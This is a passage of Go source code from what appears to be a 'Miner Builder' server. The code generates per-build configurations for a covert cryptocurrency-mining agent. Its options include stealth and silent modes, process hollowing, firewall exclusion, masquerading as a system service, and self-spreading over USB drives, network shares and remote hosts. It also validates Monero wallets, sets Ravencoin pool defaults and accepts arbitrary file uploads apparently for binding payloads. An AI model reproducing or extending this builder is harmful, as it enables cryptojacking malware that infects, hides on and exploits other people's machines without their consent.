	}
	written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
	out.Close()
	if err != nil {
		os.RemoveAll(dir)
		return "", nil, err
	}
	if written == 0 {
		os.RemoveAll(dir)
		return "", nil, fmt.Errorf("fusion upload is empty")
	}
	if written > FusionMaxUploadBytes {
		os.RemoveAll(dir)
		return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
	}
	cleanup := func() { _ = os.RemoveAll(dir) }
	return dest, cleanup, nil
}

// isFusionPayloadExt accepts any file with a non-empty extension.
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
func isFusionPayloadExt(name string) bool {
	ext := strings.ToLower(filepath.Ext(name))
	return ext != "" && ext != "."
}

func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
	return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s

package config

import "time"

func GetBuiltinConfig() BuiltinConfig {
	return BuiltinConfig{
		WorkerName:       %q,
		ServerURL:        %q,
		Wallet:           %q,
		Threads:     %d,
		ThreadMode:  %q,
		ThreadPercent: %d,
		CPUPriority: %q,
		MiningMode:  %q,
		DisplayMode: %q,
		SilentMode:  %v,
		RunAs:       %q,
		AutoStart:   %v,
		ProcessName: %q,
		BuildID:     %q,
		BuiltAt:     time.Unix(%d, 0),
		PoolHost:    %q,
		PoolPort:    %d,
		PoolTLS:     %v,
		PoolPass:    %q,
		MaxCPUUsage: %d,
		MaxMemoryPct: %d,
		MinFreeRAM:  %d,
		IdleThresholdPct:    %d,
		IdleDurationMinutes: %d,
		ScheduleStart:       %q,
		ScheduleEnd:         %q,
		InstallBase:         %q,
		InstallCustomBase:   %q,
		InstallRelativePath: %q,
		AdaptToHardware:     %v,
		SelfHealing:         %v,
		FileLogging:         %v,
		StealthMode:         %v,
		FirewallExclusion:   %v,
		AIEnabled:           %v,
		AIOllamaEndpoint:    %q,
		AIModel:             %q,
		ProcessHollowing:    %v,
		MeshP2P:             %v,
		AutoSpread:          %v,
		HolePunch:           %v,
		RemoteAggressive:    %v,
		USBSpread:           %v,
		ShareSpread:         %v,
		BackupServerURLs:    %s,
		BackupPools:         %s,
		ServiceMasquerade:   %v,
		ServiceName:         %q,
		ServiceDonor:        %q,
		FleetSecret:         %q,

		// GPU / Ravencoin mining
		GPUEnabled:   %v,
		RVNWallet:    %q,
		RVNPoolHost:  %q,
		RVNPoolPort:  %d,
		RVNPoolTLS:   %v,
		RVNPoolPass:  %q,
		RVNBackupPools: %s,
	}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
		req.WorkerName,
		req.ServerURL,
		req.Wallet,
		req.Threads,
		req.ThreadMode,
		req.ThreadPercent,
		req.CPUPriority,
		req.MiningMode,
		req.DisplayMode,
		req.SilentMode,
		req.RunAs,
		req.AutoStart,
		req.ProcessName,
		buildID,
		time.Now().Unix(),
		req.PoolHost,
		req.PoolPort,
		req.PoolTLS,
		req.PoolPass,
		req.MaxCPUUsagePct,
		req.MaxMemoryPct,
		req.MinFreeRAMMB,
		req.IdleThresholdPct,
		req.IdleDurationMinutes,
		req.ScheduleStart,
		req.ScheduleEnd,
		req.InstallBase,
		req.InstallCustomBase,
		req.InstallRelativePath,
		req.AdaptToHardware,
		req.SelfHealing,
		req.FileLogging,
		req.StealthMode,
		req.FirewallExclusion,
		req.AIEnabled,
		req.AIOllamaEndpoint,
		req.AIModel,
		req.ProcessHollowing,
		req.MeshP2P,
		req.AutoSpread,
		req.HolePunch,
		req.RemoteAggressive,
		req.USBSpread,
		req.ShareSpread,
		formatGoStringSlice(req.BackupServerURLs),
		formatGoBackupPools(req.BackupPools),
		serviceMasqueradeEnabled(req),
		serviceMasqueradeName(buildID, req),
		serviceMasqueradeDonor(buildID, req),
		h.fleetSecret,
		req.GPUEnabled,
		req.RVNWallet,
		rvnPoolHost(req),
		rvnPoolPort(req),
		req.RVNPoolTLS,
		rvnPoolPass(req),
		formatGoBackupPools(req.RVNBackupPools),
	)
}

func rvnPoolHost(req *BuildRequest) string {
	if req.RVNPoolHost == "" {
		return "rvn.2miners.com"
	}
	return req.RVNPoolHost
}

func rvnPoolPort(req *BuildRequest) int {
	if req.RVNPoolPort <= 0 {
		return 6060
	}
	return req.RVNPoolPort
}

func rvnPoolPass(req *BuildRequest) string {
	if req.RVNPoolPass == "" {
		return "x"
	}
	return req.RVNPoolPass
}

// formatGoBackupPools emits a Go literal for []config.BackupPool.
func formatGoBackupPools(pools []BackupPool) string {
	if len(pools) == 0 {
		return "nil"
	}
	var sb strings.Builder
	sb.WriteString("[]BackupPool{")
	for i, p := range pools {
		if i > 0 {
			sb.WriteString(", ")
		}
		pass := p.Pass
		if pass == "" {
			pass = "x"
		}
		fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
	}
	sb.WriteString("}")
	return sb.String()
}

func serviceMasqueradeEnabled(req *BuildRequest) bool {
	return req.RunAs == "service" || req.ProcessHollowing
}

func serviceMasqueradeName(buildID string, req *BuildRequest) string {
	if !serviceMasqueradeEnabled(req) {
		return ""
	}
	name, _ := pickServiceMasquerade(buildID)
	return name
}

func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
	if !serviceMasqueradeEnabled(req) {
		return ""
	}
	_, donor := pickServiceMasquerade(buildID)
	return donor
}

func (h *Handler) copyAgentSource(destDir string) error {
	srcDir := h.agentSrcDir
	return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}
		relPath, err := filepath.Rel(srcDir, path)
		if err != nil {
			return err
		}
		if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
			return nil
		}
		destPath := filepath.Join(destDir, relPath)
		if info.IsDir() {
			return os.MkdirAll(destPath, 0755)
		}
		if info.Mode()&os.ModeSymlink != 0 {
			return nil
		}
		ext := filepath.Ext(path)
		base := filepath.Base(path)
		if ext != ".go" && base != "go.mod" && base != "go.sum" {
			return nil
		}
		return copyFile(path, destPath)
	})
}

func copyFile(src, dest string) error {
	in, err := os.Open(src)
	if err != nil {
		return err
	}
	defer in.Close()
	if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
		return err
	}
	out, err := os.Create(dest)
	if err != nil {
		return err
	}
	defer out.Close()
	_, err = io.Copy(out, in)
	return err
}

func looksLikeXMRWallet(addr string) bool {
	a := strings.TrimSpace(addr)
	if len(a) < 90 || len(a) > 106 {
		return false
	}
	if a[0] != '4' {
		return false
	}
	for i := 1; i < len(a); i++ {
		c := a[i]
		if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
			continue
		}
		return false
	}
	return true
}

func formatGoStringSlice(values []string) string {
	if len(values) == 0 {
		return "nil"
	}
	parts := make([]string, 0, len(values))
	for _, v := range values {
		v = strings.TrimSpace(v)
		if v != "" {
			parts = append(parts, fmt.Sprintf("%q", v))
		}
	}
	if len(parts) == 0 {
		return "nil"
	}
	return "[]string{" + strings.Join(parts, ", ") + "}"
}

func sanitizeFileName(name string) string {
	replacer := strings.NewReplacer(
		" ", "-", "/", "-", "\\", "-", ":", "-",
		"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
	)
	return replacer.Replace(name)
}

// safePathUnderRoot resolves name under root and rejects traversal escapes.
func safePathUnderRoot(root, name string) (string, error) {
	if name == "" || strings.Contains(name, "..") {
		return "", fmt.Errorf("invalid path")
	}
	cleanName := filepath.Clean(name)
	if filepath.IsAbs(cleanName) {
		return "", fmt.Errorf("invalid path")
	}
	absRoot, err := filepath.Abs(root)
	if err != nil {
		return "", err
	}
	full := filepath.Join(absRoot, cleanName)
	absFull, err := filepath.Abs(full)
	if err != nil {
		return "", err
	}
	if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
		return "", fmt.Errorf("path escapes root")
	}
	return absFull, nil
}

func writeJSON(w http.ResponseWriter, status int, v interface{}) {
	w.Header().Set("Content-Type", "application/json")
	w.WriteHeader(status)
	json.NewEncoder(w).Encode(v)
}
